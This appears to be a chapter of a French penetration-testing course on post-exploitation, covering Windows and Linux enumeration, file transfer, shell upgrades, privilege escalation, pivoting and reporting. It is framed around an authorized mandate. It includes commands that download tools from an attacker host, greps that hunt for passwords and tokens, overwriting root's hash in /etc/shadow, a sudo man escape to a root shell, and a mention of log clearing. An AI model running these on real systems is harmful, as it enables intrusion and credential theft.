Chapitre 10 : Post-Exploitation

Post-Exploitation

Après l'Accès : Enquêter, Progresser, Documenter

Une fois l'accès obtenu, la mission ne fait que commencer : énumération locale détaillée, transfert de fichiers, amélioration de shell, et compléments d'escalade de privilèges Linux.

1. Énumération Locale

Système, utilisateurs, processus — manuellement et via scripts automatisés (JAWS, LinEnum).

2. Fichiers & Shells

Transférer des outils vers la cible, améliorer un shell non-interactif.

3. Privesc Linux

Permissions faibles et privilèges SUDO mal configurés.

Introduction & Méthodologie de Post-Exploitation

Concepts

Ce qu'il Reste à Faire Après un Accès

  • Obtenir un accès n'est qu'une étape : il faut ensuite comprendre le système sur lequel on se trouve, ce qu'il permet d'atteindre, et jusqu'où on peut légitimement aller dans le cadre du mandat.
  • Démarche typique : énumération locale approfondie → élévation de privilèges si nécessaire → collecte d'informations utiles (credentials, fichiers sensibles) → documentation systématique de chaque étape pour le rapport final.

Post-Exploitation — Changer de Perspective

Méthodologie

Une session n'est pas l'objectif final

Après l'accès initial, le but est de comprendre la machine, les privilèges disponibles, les chemins vers d'autres ressources et les preuves utiles au rapport. Chaque action doit répondre à une question précise.

1. IdentifierQui suis-je ? Sur quelle machine ?
→
2. ÉnumérerOS, utilisateurs, processus, réseau
→
3. HypothèseQuel chemin de progression existe ?
→
4. ValiderTester le minimum nécessaire
Principe : ne lance pas immédiatement des outils de privesc. Commence par comprendre le contexte local ; cela réduit le bruit et permet de choisir un test pertinent.

Les 6 Questions à se Poser Après l'Accès

Reconnaissance Locale

Identité & privilèges

  • Qui suis-je ? compte, groupes, privilèges effectifs.
  • Quel niveau ? utilisateur standard, administrateur, root ou contexte de service.
  • Quelles restrictions ? droits sudo, UAC, AppLocker, SELinux, etc.

Système & exposition

  • Version exacte de l'OS et architecture.
  • Services et processus actifs.
  • Interfaces réseau, routes et connexions.
  • Applications, fichiers de configuration et secrets accessibles.
Question directrice : « Qu'est-ce que cette identité peut déjà faire, et quelle information manque-t-il pour comprendre le prochain mouvement ? »

Énumération Locale — Ce que Chaque Commande Cherche

Interprétation
CatégorieQuestionExemples
IdentitéQuel compte et quels groupes ?whoami, id, whoami /groups
SystèmeQuelle version / architecture ?uname -a, systeminfo
ProcessusQue fait actuellement la machine ?ps aux, tasklist
ServicesQuels services tournent avec quels privilèges ?systemctl, sc query
RéseauQuelles interfaces, routes et connexions ?ip addr, ip route, netstat
FichiersOù sont les configurations ou secrets accessibles ?find, dir, recherches ciblées
Interprétation : une commande isolée donne rarement une conclusion. On croise plusieurs observations avant de formuler une piste de privesc ou de mouvement latéral.

Contexte de Privilèges — Windows vs Linux

Privilèges

Windows

  • Compte local ou domaine.
  • Groupes de sécurité et privilèges Windows.
  • Services exécutés sous différents comptes.
  • Contexte Administrator / SYSTEM à distinguer d'un simple compte administrateur.
whoami
whoami /groups
whoami /priv
net user
net localgroup administrators

Linux

  • UID/GID et groupes secondaires.
  • Privilèges root et délégation via sudo.
  • Permissions classiques, SUID/SGID, capabilities.
  • Services et tâches planifiées exécutés par des comptes privilégiés.
id
groups
sudo -l
find / -perm -4000 -type f 2>/dev/null

Énumération Réseau depuis la Machine Compromise

Network Discovery

Pourquoi refaire de la reconnaissance ?

Une machine compromise donne souvent une visibilité différente de celle obtenue depuis Internet ou le réseau initial. Elle peut posséder plusieurs interfaces, des routes internes ou des connexions vers des services non exposés à l'extérieur.

Linux

ip addr
ip route
ss -tulpn
ss -antp
cat /etc/resolv.conf

Windows

ipconfig /all
route print
netstat -ano
arp -a
nslookup <nom>
À rechercher : sous-réseaux supplémentaires, passerelles, DNS internes, ports locaux en écoute et connexions vers d'autres hôtes. Ces informations peuvent expliquer un chemin de pivoting.

Processus, Services et Tâches Planifiées

Attack Surface Locale

Pourquoi les inspecter ?

  • Un processus privilégié peut utiliser un fichier ou un répertoire modifiable par un utilisateur moins privilégié.
  • Un service peut être mal configuré : chemin modifiable, permissions faibles, compte de service trop privilégié.
  • Une tâche planifiée peut exécuter périodiquement un script accessible en écriture.

Points de contrôle

# Linux
ps aux
systemctl list-units --type=service
ls -la /etc/cron* 

# Windows
tasklist /v
sc query
schtasks /query /fo LIST /v
Raisonnement : ne cherchez pas uniquement « une vulnérabilité ». Cherchez une relation de confiance incorrecte : processus privilégié + ressource modifiable par l'utilisateur.

Secrets, Credentials et Fichiers de Configuration

Sensitive Data

Emplacements à examiner

  • Fichiers de configuration d'applications.
  • Variables d'environnement.
  • Scripts de déploiement et fichiers de sauvegarde.
  • Historique de commandes lorsque le mandat l'autorise.
  • Clés SSH et configurations de connexion.

Recherche ciblée

# Linux — exemples prudents
env
find /home -name "*.conf" -o -name "*.bak" 2>/dev/null
grep -Rni "password\|passwd\|token" /etc 2>/dev/null

# Windows
set
dir /s /b C:\*.config 2>nul
Important : identifier un secret ne signifie pas automatiquement l'utiliser. Documenter son emplacement, son type et son impact potentiel peut suffire à démontrer la faiblesse.

Choisir entre Énumération Manuelle et Automatisation

Outils
ManuelComprendre le système et éviter le bruit
→
AutomatiséÉlargir rapidement la couverture
→
ValidationReprendre manuellement les pistes pertinentes

Scripts

  • JAWS pour Windows.
  • LinEnum pour Linux.
  • Modules de collecte de Meterpreter.

Limites

  • Résultats volumineux et parfois faux positifs.
  • Version du script à vérifier.
  • Certains contrôles de sécurité peuvent détecter leur comportement.

Transfert de Fichiers — Comprendre le Chemin

File Transfer
AttaquantServeur HTTP / autre canal
→
RéseauDNS, route, firewall, proxy
→
CibleTéléchargement local
Si le transfert échoue : vérifier d'abord l'IP d'écoute, le port, la route, le filtrage réseau et la résolution de nom. Un problème de téléchargement n'est pas forcément un problème de commande.
# Vérifier simplement que le serveur est joignable
curl -I http://@IP_attaquant/
wget -S http://@IP_attaquant/fichier

Shell Non-Interactif — Pourquoi l'Upgrade est Nécessaire

Shell

Limites d'un shell brut

  • Pas de TTY/PTY réel.
  • Comportement incorrect de Ctrl+C, su, éditeurs ou programmes interactifs.
  • Gestion imparfaite du terminal et de la taille des lignes.

Objectif

  • Obtenir un pseudo-terminal.
  • Définir TERM et éventuellement la taille du terminal.
  • Conserver une session stable et exploitable.
À retenir : « avoir une commande qui s'exécute » et « disposer d'un shell interactif utilisable » sont deux choses différentes.

Linux Privilege Escalation — Construire une Hypothèse

Linux Privesc
UID / groupesComprendre le niveau initial
→
SUDO / SUIDIdentifier les délégations
→
Services / CronChercher les exécutions privilégiées
→
PermissionsRelier privilège et ressource modifiable
Exemple de raisonnement : si une tâche root exécute régulièrement un script dont l'utilisateur courant peut modifier le contenu, la faiblesse vient de la chaîne de permissions, pas simplement du fait que « cron existe ».

Linux — SUDO, SUID et Capabilities

Privilèges

SUDO

Délégation explicite de commandes à certains utilisateurs ou groupes.

sudo -l

SUID

Un binaire peut s'exécuter avec l'identité de son propriétaire, généralement root.

find / -perm -4000 -type f 2>/dev/null

Capabilities

Des privilèges Linux peuvent être accordés finement à un exécutable sans lui donner tous les droits root.

getcap -r / 2>/dev/null
Différence : SUID agit au niveau de l'identité effective du processus ; les capabilities découpent certains privilèges de manière plus granulaire.

Windows — Pistes de Progression après l'Énumération

Windows Privesc

Points de contrôle

  • Privilèges du compte et groupes.
  • Services exécutés avec des comptes privilégiés.
  • Permissions sur fichiers, répertoires et exécutables de services.
  • Tâches planifiées.
  • Applications installées et versions.

Commandes utiles

whoami /priv
whoami /groups
sc query
schtasks /query /fo LIST /v
wmic product get name,version
icacls C:\chemin\vers\fichier.exe
Approche : une piste de privesc devient intéressante lorsqu'elle combine un privilège élevé avec une faiblesse contrôlable par l'utilisateur courant.

Post-Exploitation et Pivoting — Le Nouveau Périmètre

Pivoting

Une machine compromise peut devenir un point d'observation

Après l'énumération réseau locale, on peut découvrir des sous-réseaux ou services qui n'étaient pas accessibles depuis la machine d'attaque. Le pivoting consiste à utiliser la machine compromise comme relais.

KaliMachine d'attaque
→
Host AMachine compromise
→
Réseau interneHôtes non exposés
Avant de pivoter : identifier les interfaces et routes de Host A. Cela permet de comprendre exactement quel réseau est accessible depuis cette position.

Documentation — Transformer les Observations en Preuves

Reporting

À consigner

  • Commande ou action effectuée.
  • Résultat observé.
  • Compte et machine concernés.
  • Impact démontré.
  • Capture ou sortie pertinente.

Structure utile

Observation
    ↓
Preuve
    ↓
Condition technique
    ↓
Impact
    ↓
Recommandation
Bonne pratique : éviter de collecter inutilement des données sensibles. Une preuve minimale et reproductible est généralement plus exploitable qu'un dump massif.

Énumération Système — Windows

Windows Enum

Concepts

  • Depuis un shell obtenu sur une cible Windows, la première étape est de comprendre précisément le système : version, correctifs installés, configuration.

Démo

# Depuis un shell (via meterpreter -> shell)
systeminfo

# Lister les correctifs (hotfix) installés
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Exploration manuelle complémentaire
cd C:\Windows\System32
type eula.txt

Énumération Utilisateurs & Groupes — Windows

Windows Enum

Démo

# Depuis Meterpreter : privilèges de la session courante
getprivs

# Depuis un shell Windows
whoami /priv
query user

net user                      # tous les comptes locaux
net user <nom_utilisateur>    # détail d'un compte
net localgroup                # tous les groupes locaux
net localgroup <nom_groupe>   # membres d'un groupe

Énumération Processus & Services — Windows

Windows Enum

Démo

# Depuis Meterpreter
ps                        # lister les processus
migrate <PID>             # migrer vers un processus stable

# Depuis un shell
net start                 # services en cours d'exécution
wmic service list brief
tasklist /SVC             # processus et services associés
schtasks /query /fo LIST /v   # tâches planifiées (persistance potentielle)

Automatiser l'Énumération Windows — JAWS

JAWS

Concepts

  • JAWS (Just Another Windows Enum Script) est un script PowerShell qui automatise la collecte de nombreux indicateurs système en une seule exécution.
  • Complète les modules post/windows/gather/* déjà vus (win_privs, checkvm, enum_applications, enum_shares...).

Démo Condensée

# Depuis Meterpreter, transférer le script
cd C:\Temp
upload /PATH/jaws-enum.ps1

# Exécuter et exporter les résultats
shell
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

# Revenir à Meterpreter et récupérer le rapport
download JAWS-Enum.txt

Énumération Système — Linux

Linux Enum

Démo

cat /etc/issue
cat /etc/*release        # distribution & version précise
uname -a                 # version du noyau
lscpu                    # informations CPU
df -h                    # espace disque
dpkg -l                  # paquets installés (systèmes Debian/Ubuntu)

Utilisateurs, Processus & Cron — Linux

Linux Enum

Démo

groups <utilisateur>
cat /etc/passwd | grep -v /nologin   # comptes avec un shell utilisable
ls /home
lastlog                              # dernières connexions par utilisateur

ps aux                               # tous les processus
top                                  # utilisation ressources en temps réel
crontab -l                           # tâches planifiées de l'utilisateur courant

Automatiser l'Énumération Linux — LinEnum

LinEnum

Concepts

  • LinEnum est un script Bash qui automatise l'énumération système, réseau, utilisateurs et pistes de privesc potentielles.
  • Complète les modules post/linux/gather/* déjà vus (enum_configs, enum_network, enum_system, checkvm).

Démo Condensée

# Transférer le script depuis Kali
upload /PATH/LinEnum.sh

shell
chmod +x LinEnum.sh
./LinEnum.sh

Transférer des Fichiers vers une Cible

Transfert de Fichiers

Vers une Cible Windows

# Côté attaquant : servir le fichier
python3 -m http.server 80

# Côté cible : télécharger via certutil
certutil -urlcache -f http://@IP_attaquant/outil.exe outil.exe

Vers une Cible Linux

# Côté attaquant : servir le fichier
python3 -m http.server 80

# Côté cible : télécharger via wget
wget http://@IP_attaquant/outil.sh

Améliorer un Shell Non-Interactif

Upgrade Shell

Concepts

  • Un shell obtenu via l'exploitation d'un service est souvent "non-interactif" — pas d'autocomplétion, de raccourcis, ni de gestion propre des commandes interactives (comme su).
  • Plusieurs langages disponibles nativement sur la cible permettent de générer un shell pleinement interactif.

Méthodes Courantes

# Méthode 1 : Python
python -c 'import pty; pty.spawn("/bin/bash")'

# Méthode 2 : Perl
perl -e 'exec "/bin/bash";'

# Méthode 3 : Ruby
ruby -e 'exec "/bin/bash"'

# Ajustements utiles une fois interactif
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm

Escalade Linux — Permissions Faibles & SUDO

Linux Privesc

Permissions Faibles

# Rechercher les fichiers modifiables par tous
find / -not -type l -perm -o+w 2>/dev/null

# Si /etc/shadow est modifiable :
# générer un hash pour un mot de passe connu
openssl passwd -1 -salt abc motdepasse

# puis remplacer le hash du compte root dans /etc/shadow
# (à la place du "*"), puis :
su

Privilèges SUDO Mal Configurés

# Lister ce que l'utilisateur peut exécuter en sudo
sudo -l

# Exemple classique (référence : GTFOBins)
# si "sudo man ls" est autorisé :
sudo man ls
# puis, dans le pager :
!/bin/bash
# --> shell root si man est lancé via sudo

Rappel — Persistance, Hash, Pivoting & Traces

Rappel

Déjà Couvert dans les Chapitres Précédents

  • Persistance (services, RDP, clés SSH, cron) : voir chapitre 8.
  • Dump & craquage de hash (Windows NTLM, Linux passwd/shadow) : voir chapitres 6 et 8.
  • Pivoting (autoroute, proxychains, portfwd) : voir chapitres 7 et 8.
  • Nettoyage des traces : sur Windows, clearev efface les journaux d'événements (vu au chapitre 8). Sur Linux, cela impliquerait de modifier l'historique de commandes et les journaux d'authentification — une action sensible, à ne pratiquer que si le mandat l'autorise explicitement, généralement pour tester la capacité de détection du client plutôt que pour dissimuler une action non autorisée.

Synthèse & Methodology Checklist — Chapitre 10

Récapitulatif

Checklist Pratique — Post-Exploitation

  • 1. Énumération locale d'abord : système, utilisateurs, processus — avant toute tentative d'escalade.
  • 2. Scripts automatisés (JAWS, LinEnum) en complément, jamais en remplacement de la compréhension manuelle.
  • 3. Transfert de fichiers : un simple serveur HTTP Python suffit dans la majorité des cas, Windows comme Linux.
  • 4. Toujours améliorer un shell non-interactif avant de travailler dessus longtemps.
  • 5. Linux privesc : permissions faibles et sudo mal configuré sont des vecteurs aussi fréquents que les failles logicielles.
  • 6. Documentation continue : chaque commande d'énumération et son résultat alimentent directement le rapport final.